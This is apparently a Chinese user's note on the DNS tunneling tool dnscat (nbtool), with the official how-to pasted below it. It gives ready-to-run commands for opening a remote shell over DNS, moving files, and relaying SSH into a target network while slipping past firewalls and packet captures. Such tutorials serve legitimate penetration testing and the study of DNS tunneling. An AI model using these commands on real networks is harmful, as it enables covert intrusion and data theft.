dnscat使用——整体感觉这个工具不完善，失败率很高，传文件时候没有完整性校验，我自己测试时通过域名转发失败，可能是其特征过于明显导致

git clone https://github.com/iagox86/nbtool
make

然后就可以按照下面的官方说明进行操作了。

我的感受：整体感觉这个工具不完善，失败率很高，传文件时候没有完整性校验，我自己测试时通过域名转发失败，可能是其特征过于明显导致（子域名里有dnscat关键字）。

How-to

If you're going to read one section, this is probably the best one. It'll answer the question, "what the heck do I do with dnscat?"

Starting a server

You can start a dnscat server that supports a single client by running:

dnscat --listen

Adding --multi enables a dnscat server to handle multiple simultaneous clients:

dnscat --listen --multi

While --multi is obviously more functional, it is also slightly more difficult to use and doesn't take as kindly to redirection (it takes a little bit of shell magic to make it useful; I don't recommend it). Every client that connects picks a unique session id, which is displayed before every message. To send messages to specific sessions, the outgoing messages also have to be prefixed with the session id. So, sessions look like this (the '(in)' and '(out)' are added for clarification):

(in)  session1: This is some incoming data for the first session
(out) session2: This is outgoing data on second session
(in)  session2: This is a response on the second connection

And so on. When --multi isn't being used, redirection can be used to read/write files, create relays, and so on, the same way netcat can.

Starting a client

Once a server is running, a client can connect to it. This can be done in one of two ways.

First, and the usage I recommend: if the server is an authority for a domain name, you can use the --domain argument to provide the domain. Requests will be sent to the local dns server and will eventually be routed, through the DNS hierarchy, to the server. This is the best way to use dnscat, because it is very unlikely to be prevented. For more information, see the outline of Recursive Dns, above.

The second method is to send the dns messages directly from the client to the server using the --dns argument to specify the dnscat server address. This is useful for testing, and can fool simple packet captures and poorly conceived firewall rules, but isn't an ideal usage of dnscat.

By default, a random session id will be generated. If you run the dnscat server in --multi mode, you will likely want to use the --session argument on the client to give the sessions a more friendly name. No two sessions can share an id, though, and all names must be dns-friendly characters (letters and numbers).

To summarize, here are the two options for starting a client.

dnscat --domain skullseclabs.org
or
dnscat --dns 1.2.3.4

Where 'skullseclabs.org' is the domain that the dnscat server is the authority for, or '1.2.3.4' is the ip address of the dnscat server.

Examples

Simple server

As discussed above, a dnscat server can be started using the --listen argument:

dnscat --listen

Or, if multiple clients will connect, --multi can be given:

dnscat --listen --multi

Simple client

To start a dnscat client with an authoritative domain, use the following command:

dnscat --domain <domain>

For example:

dnscat --domain skullseclabs.org

And to start it without an authoritative domain, use this:

dnscat --dns <dnscat_server_address>

For example:

dnscat --domain 1.2.4.4

For more options, use --help:

dnscat --help

Remote shell

Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:

dnscat --listen

And run the shell on the client side:

Linux/BSD:

dnscat --domain skullseclabs.org --exec "/bin/sh"

Windows:

dnscat.exe --domain skullseclabs.org --exec "cmd.exe"

On the server, you can now type commands and they'll run on the client side.

Transfer a file

You can transfer a file to the client from the server like this:

Server:
dnscat --listen > file.out

Client:
dnscat --domain <domain> < file.in

You can change the direction that the file goes by switching around the redirects. To transfer from the server to the client, do this:

Server:
dnscat --listen < file.in

Client:
dnscat --domain <domain> > file.out

A couple things to note:

No integrity checking is performed

There is currently no indication when a transfer is finished

Tunnel another connection

This is my favourite thing to do, and it works really slick. You can use netcat to open a port-to-port tunnel through dnscat. I like this enough that I'm going to add netcat-like arguments in the next version.

Let's say that the client can connect to an ssh server on 192.168.2.100. The server is on an entirely different network and normally has no access to 192.168.2.100. The whole situation is a little confusing because we want the dnscat client to connect to the ssh server (presumably, in real life, we'd be able to get a dnscat client on a target network, but not a dnscat server). "client" and "server" are such ancient terms anyways. I prefer to look at them as the sender and the receiver.

A diagram might help:

ssh client
|
| (port 1234 via netcat)
|
v
dnscat server
^
|
| (DNS server(s))
|
dnscat client
|
| (port 22 via netcat)
|
v
ssh server

It's like a good ol' fashioned double netcat relay. Ed Skoudis would be proud. :)

First, we start the netcat server. The server is going to run netcat, which listens on port 1234:

dnscat --listen --exec "nc -l -p 1234"

If you connect to that host on port 1234, all data will be forwarded across DNS to the dnscat client.

Second, on the client side, dnscat connects to 192.168.2.100 port 22:

dnscat --domain skullseclabs.org --exec "nc 192.168.2.100 22"

This connects to 192.168.2.100 on port 22. The input/output will both be sent across DNS back to the dnscat server, which will then send the traffic to whomever is connected on TCP/1234.

Third and finally, we ssh to our socket:

ssh -p 1234 ron@127.0.0.1

Alternatively, if available you can also use the ssh -o ProxyCommand option which avoids the need for nc on the client:

ssh -o ProxyCommand="./dnscat --domain skullseclabs.org" root@localhost

One thing to note: at the moment, doing this is slooooow. But it works, and it's really, really cool!